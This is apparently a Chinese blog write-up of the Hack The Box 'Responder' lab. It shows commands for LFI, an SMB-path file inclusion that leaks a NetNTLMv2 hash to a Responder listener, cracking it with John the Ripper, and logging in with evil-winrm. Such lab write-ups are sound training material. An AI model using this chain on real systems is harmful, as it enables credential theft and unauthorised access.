Hack The Box-Responder

Introduction

本篇博客演示了文件包含漏洞的利用,包括本地文件包含和远程文件包含,并介绍了 SMB 协议和 Windows 操作系统的 NTLM 协议。除此之外,使用 Responder 工具来获取 NetNTLMv2 哈希值,并使用 John The Ripper 测试数百万个可能的密码,找到正确的管理员密码。最后,使用 Evil-WinRM 获取目标主机权限。

Write-up

首先使用 Nmap 扫描目标主机的开放端口:

sudo nmap -p- --min-rate 1000 -sV 10.129.95.234 

根据 Nmap 扫描的结果,发现该机器使用 Windows 操作系统。检测到两个端口处于打开状态。

打开 Firefox 并输入 http://10.129.95.234 时,网站重定向到 http://unika.htb。由于主机不知道如何解析 unika.htb(即无法将其转换为对应的 IP 地址),导致浏览器显示“无法找到该网站”的错误。

/etc/hosts 文件用于将主机名解析为IP地址,因此我们需要在 /etc/hosts 文件中为该域添加一个条目,以使浏览器能够解析 unika.htb 的地址。

echo "10.129.95.234   unika.htb" | sudo tee -a /etc/hosts
//tee,同时写入到文件和屏幕
//-a,追加写入

添加该条目后,访问 unika.htb 将直接解析为 10.129.95.234,无需通过外部 DNS 服务器。

刷新页面:

编程语言是php:

导航栏点击到 EN 时,URL 发生变化:

页面是由 page 参数加载的,该参数可能受到文件包含漏洞的攻击。

本地文件包含

测试 page 参数,检查是否可以在服务器响应中包含目标系统上的文件。在Windows系统上,渗透测试可能尝试访问的最常见文件之一是 hosts 文件,路径为:

WINDOWS\System32\drivers\etc\hosts

使用目录穿越,逐步回退到根目录:

远程文件包含

php.ini 配置文件中,allow_url_include 默认设置为 “Off”,表示 PHP 不会加载远程 HTTP 或 FTP URL,以防止远程文件包含攻击。然而,即使 allow_url_includeallow_url_fopen 设置为 “Off”,PHP 仍然可能允许 SMB URL 加载。

如果加载SMB URL ,Windows 将尝试进行身份验证,我们可以通过截取 NetNTLMv2获取用户密码。

  • SMB 协议:
    SMB (Server Message Block) 协议是一个网络文件共享协议,主要用于在计算机之间共享文件、打印机和其他资源。它允许网络中的设备进行交互,例如访问文件系统、读取文件、写入文件以及与网络设备通信。

  • NTLM:

    • NTLM (New Technology Lan Manager)是微软为 Windows 操作系统创建的一组身份验证协议。它是一种基于 Challenge-Response 的身份验证协议,用于在 Active Directory 域上验证客户端对资源的访问。
    • NTLM 身份验证的工作流程:
      1. 客户端发送用户名和域名:
        客户端向服务器发送用户名和域名。
      2. 服务器生成 Challenge 字符串:
        服务器生成一个随机字符串,称为Challenge。
      3. 客户端加密 Challenge 字符串:
        客户端使用用户密码的 NTLM 哈希值 对 Challenge 字符串进行加密,并将结果发送回服务器。
      4. 服务器检索用户密码或等效值:
        服务器从安全账户数据库中检索用户密码或等效的哈希值。
      5. 服务器验证:
        服务器使用检索到的哈希值对 Challenge 字符串进行加密,得到的值与客户端返回的值进行比较。如果两者匹配,客户端身份验证成功。
  • NetNTLMv2
    它是 NTLMv2 的一个扩展版本,比 NTLMv1 提供了更强的安全性。它是一个包括 Challenge 和Response 的字符串,但由于人们常常通过类似对哈希值的攻击方法来破解它,所以它又被普遍称为 NetNTLMv2 哈希。

通过使用Responder工具,攻击者可以伪装成 SMB 服务器来拦截和收集 NetNTLMv2 Challenge-Response 对。
内网渗透之Responder攻防(上) - FreeBuf网络安全行业门户

验证 Responder.conf 中侦听 SMB 请求开关是否开启:

接下来使用 python3 启动 Responder 监听:

sudo python3 Responder.py -I tun0

响应方服务器准备就绪后,通过设置 page 参数,告诉服务器包含来自 SMB 服务器的资源:

http://unika.htb/?page=//10.10.16.6/whatever # 随便写一个文件名

这时看 Responder,发现显示了Administrator 帐户的 NetNTLMv:

将这个值存储到一个文件中:

我们将哈希文件传递给John the Ripper(一个密码哈希破解程序),破解管理员帐户的密码:

john -w=/usr/share/wordlists/rockyou.txt hash.txt

john 会尝试给定密码列表中的每个密码,并使用该密码加密 Response。如果结果与响应匹配,则找到了正确的密码:

从 nmap 扫描结果中,我们发现 winrm (Windows Remote Management) 服务(5985)已启用。接下来连接到目标上的 WinRM服务,并尝试获取会话。使用 Evil-WinRM

evil-winrm -i 10.129.95.234 -u administrator -p badminton

最终找到flag(windows cmd.exe 用dir 查看当前文件夹下的内容,type 查看文件内容):

Conclusion

这是 Hack The Box 新手关卡第二阶段的第四关,明显感觉很吃力,不过收获颇丰。通过这一关,我认识了三个渗透神器:Responder 、 John The Ripper 和 Evil-WinRM 。最重要的是,对文件包含漏洞的利用有了更加深刻的理解,即使 allow_url_include 开关没开,居然也有办法执行远程文件包含。不过以上整个渗透过程,如果现在单独再操作一遍,还是无法完成。目前能力欠佳,相信通过多刷题能力提升之后,就可以复现了。再次感慨这个平台做得真好。